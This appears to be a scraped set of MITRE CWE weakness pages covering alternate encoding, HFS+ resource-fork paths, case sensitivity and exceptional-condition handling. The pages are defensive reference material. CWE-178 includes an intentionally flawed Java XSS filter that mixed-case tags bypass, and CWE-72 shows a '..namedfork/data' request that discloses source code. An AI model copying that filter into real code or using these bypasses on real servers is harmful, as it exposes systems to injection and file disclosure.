MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExtra Special Element
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Description, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Extra Special Element
2009-05-27Failure to Handle Additional Special Element

CWE-173: Improper Handling of Alternate Encoding

Weakness ID: 173
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.289Authentication Bypass by Alternate Name
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAlternate Encoding
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Alternate Encoding
2010-12-13Failure to Handle Alternate Encoding

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID: 72
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.
+ Extended Description
If the product chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the product may take unexpected actions. Further, if the product intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.66Improper Handling of File Names that Identify Virtual Resources
+ Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: macOS (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Demonstrative Examples

Example 1

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

+ Observed Examples
ReferenceDescription
Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Research Gap

Under-studied
+ References
[REF-578] NetSec. "NetSec Security Advisory: Multiple Vulnerabilities Resulting From Use Of Apple OSX HFS+". BugTraq. 2005-02-16. <https://seclists.org/bugtraq/2005/Feb/309>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-05David RemahlApple
clarified description, provided background details, and added demonstrative example
2008-11-24CWE Content TeamMITRE
updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Name, References
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Theoretical_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-11-24Apple HFS+ Alternate Data Stream
2009-05-27Failure to Handle Apple HFS+ Alternate Data Stream Path

CWE-178: Improper Handling of Case Sensitivity

Weakness ID: 178
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
+ Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

  • case-insensitive passwords reducing the size of the key space, making brute force attacks easier
  • bypassing filters or access controls using alternate names
  • multiple interpretation errors using alternate names.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1289Improper Validation of Unsafe Equivalence in Input
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.289Authentication Bypass by Alternate Name
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.433Unparsed Raw Web Content Delivery
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

(bad code)
Example Language: Java 
public String preventXSS(String input, String mask) {
return input.replaceAll("script", mask);
}

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

+ Observed Examples
ReferenceDescription
Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.
The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.
Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names.
Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.
chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
Leads to interpretation error
Directories may be listed because lower case web requests are not properly handled by the server.
File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.
Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization.
Case insensitive passwords lead to search space reduction.
HTTP server allows bypass of access restrictions using URIs with mixed case.
Mixed upper/lowercase allows bypass of ACLs.
Bypass malicious script detection by using tokens that aren't case sensitive.
Mixed case problem allows "admin" to have "Admin" rights (alternate name property).
Chain: uppercase file extensions causes web server to return script source code instead of executing the script.
Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCase Sensitivity (lowercase, uppercase, mixed case)
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Observed_Examples
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-03-10CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Functional_Areas, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Case Sensitivity (Lowercase, Uppercase, Mixed Case)
2010-12-13Failure to Resolve Case Sensitivity

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID: 755
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles an exceptional condition.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.248Uncaught Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.274Improper Handling of Insufficient Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.280Improper Handling of Insufficient Permissions or Privileges
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.333Improper Handling of Insufficient Entropy in TRNG
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.390Detection of Error Condition Without Action
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.392Missing Report of Error Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.395Use of NullPointerException Catch to Detect NULL Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.396Declaration of Catch for Generic Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.460Improper Cleanup on Thrown Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.544Missing Standardized Error Handling Mechanism
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.636Not Failing Securely ('Failing Open')
